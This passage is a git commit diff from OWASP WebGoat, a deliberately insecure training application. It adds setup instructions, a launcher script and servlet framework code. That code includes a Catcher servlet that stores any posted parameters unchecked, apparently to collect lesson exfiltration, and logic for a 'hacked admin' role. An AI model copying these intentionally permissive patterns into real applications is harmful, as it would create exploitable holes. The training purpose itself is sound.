commit b0b94c4688ba5af591c6120aa44902e72561e372 Author: rogan.dawes Date: Mon Jan 14 14:02:11 2008 +0000 Miscellaneous bug fixes divide by zero, inaccurate discount and totals, reflection of user input git-svn-id: http://webgoat.googlecode.com/svn/trunk/webgoat@273 4033779f-a91e-0410-96ef-6bf7bf53c507 diff --git a/main/Eclipse-Workspace.zip b/main/Eclipse-Workspace.zip new file mode 100644 index 000000000..8205dca87 Binary files /dev/null and b/main/Eclipse-Workspace.zip differ diff --git a/main/HOW TO create the WebGoat workspace.txt b/main/HOW TO create the WebGoat workspace.txt new file mode 100644 index 000000000..ba01dd1e9 --- /dev/null +++ b/main/HOW TO create the WebGoat workspace.txt @@ -0,0 +1,196 @@ +*************************************** + +As of 5.1 the developer release contains the eclipse workspace +and project files. + +Extract distribution to c:\ + - It will create a WebGoat-x.x directory +Extract Eclipse-Workspace.zip to C:\WebGoat-x.x +Start eclipse using eclipse.bat +After eclipse starts + Top left - Project Explorer view + right click WebGoat – refresh + right click Servers – refresh + Bottom - Servers view + right click Tomcat… - start +Browse to http://localhost/WebGoat/attack + + +You're done. Changing files in eclipse will automatically rebuild +and redeploy the application. + +Follow the instructions below to build the workspace from scratch + + +*************************************** + + + + + +*************************************** + +Eclipse startup and dependency removal +WebGoat uses Eclipse WTP 1.5 + +*************************************** + +Change paths in eclipse.bat to reflect your environment + + edit /eclipse.bat + Change JAVAHOME to directory where java is installed. + ex: This may be .\java or "C:\Program Files\Java\jdk1.5.0_08" + + Change ECLIPSE_HOME to directory where eclipse is installed + ex: This may be .\eclipse or "C:\Program Files\eclipse" + Note: WebGoat requires eclipse with WTP project + + +Run eclipse using the eclipse.bat file + + located at /eclipse.bat + +Remove eclipse dependencies + + Delete all files and directories beginning + with a period. ex) .settings, .project, etc... + Note: These files probably do not exist unless you have + previously tried to build a WebGoat eclipse project + + +Eclipse will start up in the default state +Click arrow at top right to load the eclipse workbench + + +*************************************** + +Verify tomcat directory is read/write access + +*************************************** + +You may have to install Tomcat and merge the webgoat users into +the tomcat-users.xml file + +File: /conf/tomcat-users.xml + + + + + + + + + + + + +*************************************** + +Initial Setup of Development Enviroment + +*************************************** + +Step 1) Add the WebGoat JDK + +window->preferences-> + java->installed JREs + + add + Name: WebGoat JDK 1.5 + Directory: java + OK + + select new JDK as default + remove previous JDK if exists + OK + +window->preferences + server->Installed Runtime + + ADD + apache + tomcat v5.5 + NEXT + directory: use browse button to locate /tomcat (e.g. C:\P4\BUILD\depot\WebGoat\J2EE\main\tomcat) + JRE: WebGoat JDK 1.5 + FINISH + select apache tomcat v5.5 as default + OK + +window->open perspective + other + J2EE + +in Project Explorer + right click->New->New Dynamic Web Project + + Name: WebGoat + Deselect "use default" + Browse to /project (e.g. C:\P4\BUILD\depot\WebGoat\J2EE\main\project) + NEXT + NEXT + change Java Source Directory: JavaSource + FINISH + Click "I Agree" if dialog appears (will appear after build completes) + +From "Servers" View - Should be in bottom view + right click->New->Server (Tomcat 5.5 should be default selected) + NEXT + select WebGoat + ADD + FINISH + +From a Windows file explorer window + Copy the .keystore to eclipse workspace directory + \J2EE\main\workspace\.metadata\.plugins\org.eclipse.wst.server.core\tmp0\.keystore + +From Servers view + + double click Tomcat v 5.5 Server @ locahost + +in "Server Overview" window + + Uncheck "Run modules directly from the workspace" + SAVE (ctrl-s) + NOTE: In developer mode you may want to leave this checked + + + +Right click on Tomcat v5.5 Sever@localhost ->Start + +Browse to http://localhost/WebGoat/attack + + +*************************************** + +Deploying to Tomcat + +*************************************** + +From Servers view + + double click Tomcat v 5.5 Server @ locahost + +in "Server Overview" window + + Uncheck "Run modules directly from the workspace" + SAVE (ctrl-s) + +From Servers view + + right click->Publish + +Using file system + copy JavaSource directory into /webapps/WebGoat/ + + +*************************************** + +Configuring Webgoat.properties for +your environment. + i.e. How to manage the menus + +*************************************** + +Edit /project/WebContent/WEB-INF/webgoat.properties + - Turn off/on the desired lessons diff --git a/main/build.xml b/main/build.xml new file mode 100644 index 000000000..52c34732a --- /dev/null +++ b/main/build.xml @@ -0,0 +1,282 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/main/eclipse.bat b/main/eclipse.bat new file mode 100644 index 000000000..876f5f7c3 --- /dev/null +++ b/main/eclipse.bat @@ -0,0 +1,28 @@ +ECHO OFF +IF NOT EXIST workspace GOTO UNPACK +set JAVAHOME=java +set PATH=%JAVAHOME%\bin;%PATH% +set ECLIPSE_HOME=eclipse +SET JAVA_OPTS=%JAVA_OPTS% -Xms128m -Xmx768m + +%ECLIPSE_HOME%\eclipse.exe -data .\workspace +GOTO END + +:UNPACK +ECHO * +ECHO * +ECHO * +ECHO * +ECHO * ERROR -- eclipse workspace is missing +ECHO * +ECHO * +ECHO * +ECHO * +ECHO * Use winzip to unzip Eclipse-Workspace.zip +ECHO * +ECHO * +ECHO * +PAUSE + +:END + diff --git a/main/project/JavaSource/org/owasp/webgoat/Catcher.java b/main/project/JavaSource/org/owasp/webgoat/Catcher.java new file mode 100644 index 000000000..fdba04082 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/Catcher.java @@ -0,0 +1,121 @@ +package org.owasp.webgoat; + +import java.io.IOException; +import java.util.Enumeration; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +import org.owasp.webgoat.lessons.AbstractLesson; +import org.owasp.webgoat.session.Course; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Bruce Mayhew WebGoat + * @created March 13, 2007 + */ +public class Catcher extends HammerHead +{ + + /** + * + */ + private static final long serialVersionUID = 7441856110845727651L; + + /** + * Description of the Field + */ + public final static String START_SOURCE_SKIP = "START_OMIT_SOURCE"; + + public final static String END_SOURCE_SKIP = "END_OMIT_SOURCE"; + + public static final String PROPERTY = "PROPERTY"; + + public static final String EMPTY_STRING = ""; + + + /** + * Description of the Method + * + * @param request Description of the Parameter + * @param response Description of the Parameter + * @exception IOException Description of the Exception + * @exception ServletException Description of the Exception + */ + public void doPost(HttpServletRequest request, HttpServletResponse response) + throws IOException, ServletException + { + try + { + //System.out.println( "Entering doPost: " ); + //System.out.println( " - request " + request); + //System.out.println( " - principle: " + request.getUserPrincipal() ); + //setCacheHeaders(response, 0); + WebSession session = (WebSession) request.getSession(true) + .getAttribute(WebSession.SESSION); + session.update(request, response, this.getServletName()); // FIXME: Too much in this call. + + int scr = session.getCurrentScreen(); + Course course = session.getCourse(); + AbstractLesson lesson = course.getLesson(session, scr, + AbstractLesson.USER_ROLE); + + log(request, lesson.getClass().getName() + " | " + + session.getParser().toString()); + + String property = new String(session.getParser().getStringParameter( + PROPERTY, EMPTY_STRING)); + + // if the PROPERTY parameter is available - write all the parameters to the + // property file. No other control parameters are supported at this time. + if ( !property.equals(EMPTY_STRING)) + { + Enumeration e = session.getParser().getParameterNames(); + + while (e.hasMoreElements()) + { + String name = (String) e.nextElement(); + String value= session.getParser().getParameterValues(name)[0]; + lesson.getLessonTracker(session).getLessonProperties().setProperty( + name, value); + } + } + lesson.getLessonTracker(session).store(session, lesson); + + } + catch (Throwable t) + { + t.printStackTrace(); + log("ERROR: " + t); + } + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/HammerHead.java b/main/project/JavaSource/org/owasp/webgoat/HammerHead.java new file mode 100644 index 000000000..0e3f8d6a9 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/HammerHead.java @@ -0,0 +1,510 @@ +package org.owasp.webgoat; + +import java.io.IOException; +import java.io.PrintWriter; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.Locale; +import java.util.TimeZone; + +import javax.servlet.ServletContext; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; + +import org.owasp.webgoat.lessons.AbstractLesson; +import org.owasp.webgoat.lessons.WelcomeScreen; +import org.owasp.webgoat.lessons.admin.WelcomeAdminScreen; +import org.owasp.webgoat.session.Course; +import org.owasp.webgoat.session.ErrorScreen; +import org.owasp.webgoat.session.Screen; +import org.owasp.webgoat.session.UserTracker; +import org.owasp.webgoat.session.WebSession; +import org.owasp.webgoat.session.WebgoatContext; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * + * @author Jeff Williams Aspect Security + * @author Bruce Mayhew WebGoat + * @created October 28, 2003 + */ +public class HammerHead extends HttpServlet +{ + + /** + * + */ + private static final long serialVersionUID = 645640331343188020L; + + /** + * Description of the Field + */ + protected static SimpleDateFormat httpDateFormat; + + /** + * Set the session timeout to be 2 days + */ + private final static int sessionTimeoutSeconds = 60 * 60 * 24 * 2; + + // private final static int sessionTimeoutSeconds = 1; + + /** + * Properties file path + */ + public static String propertiesPath = null; + + /** + * provides convenience methods for getting setup information + * from the ServletContext + */ + private WebgoatContext webgoatContext = null; + + + /** + * Description of the Method + * + * @param request + * Description of the Parameter + * @param response + * Description of the Parameter + * @exception IOException + * Description of the Exception + * @exception ServletException + * Description of the Exception + */ + public void doGet(HttpServletRequest request, HttpServletResponse response) + throws IOException, ServletException + { + doPost(request, response); + } + + + /** + * Description of the Method + * + * @param request + * Description of the Parameter + * @param response + * Description of the Parameter + * @exception IOException + * Description of the Exception + * @exception ServletException + * Description of the Exception + */ + public void doPost(HttpServletRequest request, HttpServletResponse response) + throws IOException, ServletException + { + Screen screen = null; + + WebSession mySession = null; + try + { + // System.out.println( "HH Entering doPost: " ); + // System.out.println( " - HH request " + request); + // System.out.println( " - HH principle: " + + // request.getUserPrincipal() ); + // setCacheHeaders(response, 0); + ServletContext context = getServletContext(); + + // FIXME: If a response is written by updateSession(), do not + // call makeScreen() and writeScreen() + mySession = updateSession(request, response, context); + if (response.isCommitted()) + return; + + // Note: For the lesson to track the status, we need to update + // the lesson tracker object + // from the screen.createContent() method. The create content is + // the only point + // where the lesson "knows" what has happened. To track it at a + // latter point would + // require the lesson to have memory. + screen = makeScreen(mySession); // This calls the lesson's + // handleRequest() + if (response.isCommitted()) + return; + + // perform lesson-specific tracking activities + if (screen instanceof AbstractLesson) { + AbstractLesson lesson = (AbstractLesson) screen; + + // we do not count the initial display of the lesson screen as a visit + if ("GET".equals(request.getMethod())) { + String uri = request.getRequestURI() + "?" + request.getQueryString(); + if (! uri.endsWith(lesson.getLink())) + screen.getLessonTracker(mySession).incrementNumVisits(); + } else if ("POST".equals(request.getMethod()) && mySession.getPreviousScreen() == mySession.getCurrentScreen()) { + screen.getLessonTracker(mySession).incrementNumVisits(); + } + } + + // log the access to this screen for this user + UserTracker userTracker = UserTracker.instance(); + userTracker.update(mySession, screen); + log(request, screen.getClass().getName() + " | " + + mySession.getParser().toString()); + + // Redirect the request to our View servlet + String userAgent = request.getHeader("user-agent"); + String clientBrowser = "Not known!"; + if (userAgent != null) + { + clientBrowser = userAgent; + } + request.setAttribute("client.browser", clientBrowser); + request.getSession().setAttribute("websession", mySession); + request.getSession().setAttribute("course", mySession.getCourse()); + + request.getRequestDispatcher(getViewPage(mySession)).forward( + request, response); + } + catch (Throwable t) + { + t.printStackTrace(); + log("ERROR: " + t); + screen = new ErrorScreen(mySession, t); + } + finally + { + try + { + this.writeScreen(mySession, screen, response); + } + catch (Throwable thr) + { + thr.printStackTrace(); + log(request, "Could not write error screen: " + + thr.getMessage()); + } + WebSession.returnConnection(mySession); + // System.out.println( "HH Leaving doPost: " ); + } + } + + + private String getViewPage(WebSession webSession) + { + String page; + + // If this session has not seen the landing page yet, go there instead. + HttpSession session = webSession.getRequest().getSession(); + if (session.getAttribute("welcomed") == null) + { + session.setAttribute("welcomed", "true"); + page = "/webgoat.jsp"; + } + else + page = "/main.jsp"; + + return page; + } + + /** + * Description of the Method + * + * @param date + * Description of the Parameter + * @return RFC 1123 http date format + */ + protected static String formatHttpDate(Date date) + { + synchronized (httpDateFormat) + { + return httpDateFormat.format(date); + } + } + + + /** + * Return information about this servlet + * + * @return The servletInfo value + */ + public String getServletInfo() + { + return "WebGoat is sponsored by Aspect Security."; + } + + + /** + * Return properties path + * + * @return servlet context path + WEB_INF + */ + public void init() throws ServletException + { + httpDateFormat = new SimpleDateFormat("EEE, dd MMM yyyyy HH:mm:ss z", + Locale.US); + httpDateFormat.setTimeZone(TimeZone.getTimeZone("GMT")); + propertiesPath = getServletContext().getRealPath( + "./WEB-INF/webgoat.properties"); + webgoatContext = new WebgoatContext(this); + } + + + /** + * Description of the Method + * + * @param request + * Description of the Parameter + * @param message + * Description of the Parameter + */ + public void log(HttpServletRequest request, String message) + { + String output = new Date() + " | " + request.getRemoteHost() + ":" + + request.getRemoteAddr() + " | " + message; + log(output); + System.out.println(output); + } + + /* + * public List getLessons(Category category, String role) { Course + * course = mySession.getCourse(); // May need to clone the List before + * returning it. //return new ArrayList(course.getLessons(category, + * role)); return course.getLessons(category, role); } + */ + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Screen makeScreen(WebSession s) + { + Screen screen = null; + int scr = s.getCurrentScreen(); + Course course = s.getCourse(); + + if (s.isUser() || s.isChallenge()) + { + if (scr == WebSession.WELCOME) + { + screen = new WelcomeScreen(s); + } + else + { + AbstractLesson lesson = course.getLesson(s, scr, + AbstractLesson.USER_ROLE); + if (lesson == null && s.isHackedAdmin()) + { + // If admin was hacked, let the user see some of the + // admin screens + lesson = course.getLesson(s, scr, + AbstractLesson.HACKED_ADMIN_ROLE); + } + + if (lesson != null) + { + screen = lesson; + + // We need to do some bookkeeping for the hackable admin + // interface. + // This is the only place we can tell if the user + // successfully hacked the hackable + // admin and has actually accessed an admin screen. You + // need BOTH pieces of information + // in order to satisfy the remote admin lesson. + + s.setHasHackableAdmin(screen.getRole()); + + lesson.handleRequest(s); + s.setCurrentMenu(lesson.getCategory().getRanking()); + } + else + { + screen = new ErrorScreen(s, + "Invalid screen requested. Try: http://localhost/WebGoat/attack"); + } + } + } + else if (s.isAdmin()) + { + if (scr == WebSession.WELCOME) + { + screen = new WelcomeAdminScreen(s); + } + else + { + // Admin can see all roles. + // FIXME: should be able to pass a list of roles. + AbstractLesson lesson = course.getLesson(s, scr, + AbstractLesson.ADMIN_ROLE); + if (lesson == null) + { + lesson = course.getLesson(s, scr, + AbstractLesson.HACKED_ADMIN_ROLE); + } + if (lesson == null) + { + lesson = course.getLesson(s, scr, AbstractLesson.USER_ROLE); + } + + if (lesson != null) + { + screen = lesson; + + // We need to do some bookkeeping for the hackable admin + // interface. + // This is the only place we can tell if the user + // successfully hacked the hackable + // admin and has actually accessed an admin screen. You + // need BOTH pieces of information + // in order to satisfy the remote admin lesson. + + s.setHasHackableAdmin(screen.getRole()); + + lesson.handleRequest(s); + s.setCurrentMenu(lesson.getCategory().getRanking()); + } + else + { + screen = new ErrorScreen( + s, + "Invalid screen requested. Try Setting Admin to false or Try: http://localhost/WebGoat/attack"); + } + } + } + + return (screen); + } + + + /** + * This method sets the required expiration headers in the response for + * a given RunData object. This method attempts to set all relevant + * headers, both for HTTP 1.0 and HTTP 1.1. + * + * @param response + * The new cacheHeaders value + * @param expiry + * The new cacheHeaders value + */ + protected static void setCacheHeaders(HttpServletResponse response, + int expiry) + { + if (expiry == 0) + { + response.setHeader("Pragma", "no-cache"); + response.setHeader("Cache-Control", "no-cache"); + response.setHeader("Expires", formatHttpDate(new Date())); + } + else + { + Date expiryDate = new Date(System.currentTimeMillis() + expiry); + response.setHeader("Expires", formatHttpDate(expiryDate)); + } + } + + + /** + * Description of the Method + * + * @param request + * Description of the Parameter + * @param response + * Description of the Parameter + * @param context + * Description of the Parameter + * @return Description of the Return Value + */ + protected WebSession updateSession(HttpServletRequest request, + HttpServletResponse response, ServletContext context) + throws IOException + { + HttpSession hs; + hs = request.getSession(true); + + // System.out.println( "HH Entering Session_id: " + hs.getId() ); + // dumpSession( hs ); + // Get our session object out of the HTTP session + WebSession session = null; + Object o = hs.getAttribute(WebSession.SESSION); + + if ((o != null) && o instanceof WebSession) + { + session = (WebSession) o; + } + else + { + // Create new custom session and save it in the HTTP session + // System.out.println( "HH Creating new WebSession: " ); + session = new WebSession(webgoatContext, context); + hs.setAttribute(WebSession.SESSION, session); + // reset timeout + hs.setMaxInactiveInterval(sessionTimeoutSeconds); + + } + + session.update(request, response, this.getServletName()); + + // to authenticate + // System.out.println( "HH Leaving Session_id: " + hs.getId() ); + // dumpSession( hs ); + return (session); + } + + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @param response + * Description of the Parameter + * @exception IOException + * Description of the Exception + */ + protected void writeScreen(WebSession s, Screen screen, HttpServletResponse response) + throws IOException + { + response.setContentType("text/html"); + + PrintWriter out = response.getWriter(); + + if (s == null) + { + screen = new ErrorScreen(s, "Page to display was null"); + } + + // set the content-length of the response. + // Trying to avoid chunked-encoding. (Aspect required) + response.setContentLength(screen.getContentLength()); + response.setHeader("Content-Length", screen.getContentLength() + ""); + + screen.output(out); + out.close(); + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/LessonSource.java b/main/project/JavaSource/org/owasp/webgoat/LessonSource.java new file mode 100644 index 000000000..f4043bace --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/LessonSource.java @@ -0,0 +1,214 @@ +package org.owasp.webgoat; + +import java.io.IOException; +import java.io.PrintWriter; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +import org.owasp.webgoat.lessons.AbstractLesson; +import org.owasp.webgoat.session.Course; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Bruce Mayhew WebGoat + * @created October 28, 2003 + */ +public class LessonSource extends HammerHead +{ + + /** + * + */ + private static final long serialVersionUID = 2588430536196446145L; + + /** + * Description of the Field + */ + public final static String START_SOURCE_SKIP = "START_OMIT_SOURCE"; + + public final static String END_SOURCE_SKIP = "END_OMIT_SOURCE"; + + /** + * Description of the Method + * + * @param request + * Description of the Parameter + * @param response + * Description of the Parameter + * @exception IOException + * Description of the Exception + * @exception ServletException + * Description of the Exception + */ + public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException + { + String source = null; + + try + { + // System.out.println( "Entering doPost: " ); + // System.out.println( " - request " + request); + // System.out.println( " - principle: " + request.getUserPrincipal() + // ); + // setCacheHeaders(response, 0); + WebSession session = (WebSession) request.getSession(true).getAttribute(WebSession.SESSION); + // FIXME: Too much in this call. + session.update(request, response, this.getServletName()); + + boolean showSolution = session.getParser().getBooleanParameter("solution", false); + boolean showSource = session.getParser().getBooleanParameter("source", false); + if (showSolution) + { + + // Get the Java solution of the lesson. + source = getSolution(session); + + int scr = session.getCurrentScreen(); + Course course = session.getCourse(); + AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE); + lesson.getLessonTracker(session).setViewedSolution(true); + + } else if (showSource) + { + + // Get the Java source of the lesson. FIXME: Not needed + source = getSource(session); + + int scr = session.getCurrentScreen(); + Course course = session.getCourse(); + AbstractLesson lesson = course.getLesson(session, scr, AbstractLesson.USER_ROLE); + lesson.getLessonTracker(session).setViewedSource(true); + } + } + catch (Throwable t) + { + t.printStackTrace(); + log("ERROR: " + t); + } + finally + { + try + { + this.writeSource(source, response); + } + catch (Throwable thr) + { + thr.printStackTrace(); + log(request, "Could not write error screen: " + thr.getMessage()); + } + // System.out.println( "Leaving doPost: " ); + + } + } + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected String getSource(WebSession s) + { + + String source = null; + int scr = s.getCurrentScreen(); + Course course = s.getCourse(); + + if (s.isUser() || s.isChallenge()) + { + + AbstractLesson lesson = course.getLesson(s, scr, AbstractLesson.USER_ROLE); + + if (lesson != null) + { + source = lesson.getSource(s); + } + } + if (source == null) + { + return "Source code is not available. Contact " + s.getWebgoatContext().getFeedbackAddress(); + } + return (source.replaceAll("(?s)" + START_SOURCE_SKIP + ".*" + END_SOURCE_SKIP, + "Code Section Deliberately Omitted")); + } + + protected String getSolution(WebSession s) + { + + String source = null; + int scr = s.getCurrentScreen(); + Course course = s.getCourse(); + + if (s.isUser() || s.isChallenge()) + { + + AbstractLesson lesson = course.getLesson(s, scr, AbstractLesson.USER_ROLE); + + if (lesson != null) + { + source = lesson.getSolution(s); + } + } + if (source == null) + { + return "Solution is not available. Contact " + s.getWebgoatContext().getFeedbackAddress(); + } + return (source); + } + + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @param response + * Description of the Parameter + * @exception IOException + * Description of the Exception + */ + protected void writeSource(String s, HttpServletResponse response) throws IOException + { + response.setContentType("text/html"); + + PrintWriter out = response.getWriter(); + + if (s == null) + { + s = new String(); + } + + out.print(s); + out.close(); + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/AbstractLesson.java b/main/project/JavaSource/org/owasp/webgoat/lessons/AbstractLesson.java new file mode 100644 index 000000000..f29f60903 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/AbstractLesson.java @@ -0,0 +1,890 @@ +package org.owasp.webgoat.lessons; + +import java.io.BufferedReader; +import java.io.FileReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.StringReader; +import java.net.HttpURLConnection; +import java.net.URL; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import java.util.List; +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.Body; +import org.apache.ecs.html.Form; +import org.apache.ecs.html.Head; +import org.apache.ecs.html.Html; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.PRE; +import org.apache.ecs.html.Title; +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.Screen; +import org.owasp.webgoat.session.WebSession; +import org.owasp.webgoat.session.WebgoatContext; +import org.owasp.webgoat.session.WebgoatProperties; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Bruce Mayhew WebGoat + * @created October 28, 2003 + */ +public abstract class AbstractLesson extends Screen implements Comparable +{ + + /** + * Description of the Field + */ + public final static String ADMIN_ROLE = "admin"; + + public final static String CHALLENGE_ROLE = "challenge"; + + /** + * Description of the Field + */ + public final static String HACKED_ADMIN_ROLE = "hacked_admin"; + + /** + * Description of the Field + */ + public final static String USER_ROLE = "user"; + + private static int count = 1; + + private Integer id = null; + + final static IMG nextGrey = new IMG("images/right16.gif").setAlt("Next") + .setBorder(0).setHspace(0).setVspace(0); + + final static IMG previousGrey = new IMG("images/left14.gif").setAlt( + "Previous").setBorder(0).setHspace(0).setVspace(0); + + private Integer ranking; + + private Category category; + + private boolean hidden; + + private String sourceFileName; + + private String lessonPlanFileName; + + private String lessonSolutionFileName; + + private WebgoatContext webgoatContext; + + /** + * Constructor for the Lesson object + */ + public AbstractLesson() + { + id = new Integer(++count); + } + + + public String getName() + { + String className = getClass().getName(); + return className.substring(className.lastIndexOf('.') + 1); + } + + + public void setRanking(Integer ranking) + { + this.ranking = ranking; + } + + + public void setHidden(boolean hidden) + { + this.hidden = hidden; + } + + public void update(WebgoatProperties properties) + { + String className = getClass().getName(); + className = className.substring(className.lastIndexOf(".") + 1); + setRanking(new Integer(properties.getIntProperty("lesson." + className + + ".ranking", getDefaultRanking().intValue()))); + String categoryRankingKey = "category." + + getDefaultCategory().getName() + ".ranking"; + // System.out.println("Category ranking key: " + categoryRankingKey); + Category tempCategory = Category.getCategory(getDefaultCategory() + .getName()); + tempCategory.setRanking(new Integer(properties.getIntProperty( + categoryRankingKey, getDefaultCategory().getRanking() + .intValue()))); + category = tempCategory; + setHidden(properties.getBooleanProperty("lesson." + className + + ".hidden", getDefaultHidden())); + // System.out.println(className + " in " + tempCategory.getName() + " + // (Category Ranking: " + tempCategory.getRanking() + " Lesson ranking: + // " + getRanking() + ", hidden:" + hidden +")"); + } + + + public boolean isCompleted(WebSession s) + { + return getLessonTracker(s, this).getCompleted(); + } + + + /** + * Gets the credits attribute of the AbstractLesson object + * + * @return The credits value + */ + public abstract Element getCredits(); + + /** + * Description of the Method + * + * @param obj + * Description of the Parameter + * @return Description of the Return Value + */ + public int compareTo(Object obj) + { + return this.getRanking().compareTo(((AbstractLesson) obj).getRanking()); + } + + + /** + * Description of the Method + * + * @param obj + * Description of the Parameter + * @return Description of the Return Value + */ + public boolean equals(Object obj) + { + return this.getScreenId() == ((AbstractLesson) obj).getScreenId(); + } + + + /** + * Gets the category attribute of the Lesson object + * + * @return The category value + */ + public Category getCategory() + { + return category; + } + + + protected abstract Integer getDefaultRanking(); + + + protected abstract Category getDefaultCategory(); + + + protected abstract boolean getDefaultHidden(); + + /** + * Gets the fileMethod attribute of the Lesson class + * + * @param reader + * Description of the Parameter + * @param methodName + * Description of the Parameter + * @param numbers + * Description of the Parameter + * @return The fileMethod value + */ + public static String getFileMethod(BufferedReader reader, + String methodName, boolean numbers) + { + int count = 0; + StringBuffer sb = new StringBuffer(); + boolean echo = false; + boolean startCount = false; + int parenCount = 0; + + try + { + String line; + + while ((line = reader.readLine()) != null) + { + if ((line.indexOf(methodName) != -1) + && ((line.indexOf("public") != -1) + || (line.indexOf("protected") != -1) || (line + .indexOf("private") != -1))) + { + echo = true; + startCount = true; + } + + if (echo && startCount) + { + if (numbers) + { + sb.append(pad(++count) + " "); + } + + sb.append(line + "\n"); + } + + if (echo && (line.indexOf("{") != -1)) + { + parenCount++; + } + + if (echo && (line.indexOf("}") != -1)) + { + parenCount--; + + if (parenCount == 0) + { + startCount = false; + echo = false; + } + } + } + + reader.close(); + } + catch (Exception e) + { + System.out.println(e); + e.printStackTrace(); + } + + return (sb.toString()); + } + + + /** + * Reads text from a file into an ElementContainer. Each line in the + * file is represented in the ElementContainer by a StringElement. Each + * StringElement is appended with a new-line character. + * + * @param reader + * Description of the Parameter + * @param numbers + * Description of the Parameter + * @return Description of the Return Value + */ + public static String readFromFile(BufferedReader reader, boolean numbers) + { + return (getFileText(reader, numbers)); + } + + + /** + * Gets the fileText attribute of the Screen class + * + * @param reader + * Description of the Parameter + * @param numbers + * Description of the Parameter + * @return The fileText value + */ + public static String getFileText(BufferedReader reader, boolean numbers) + { + int count = 0; + StringBuffer sb = new StringBuffer(); + + try + { + String line; + + while ((line = reader.readLine()) != null) + { + if (numbers) + { + sb.append(pad(++count) + " "); + } + 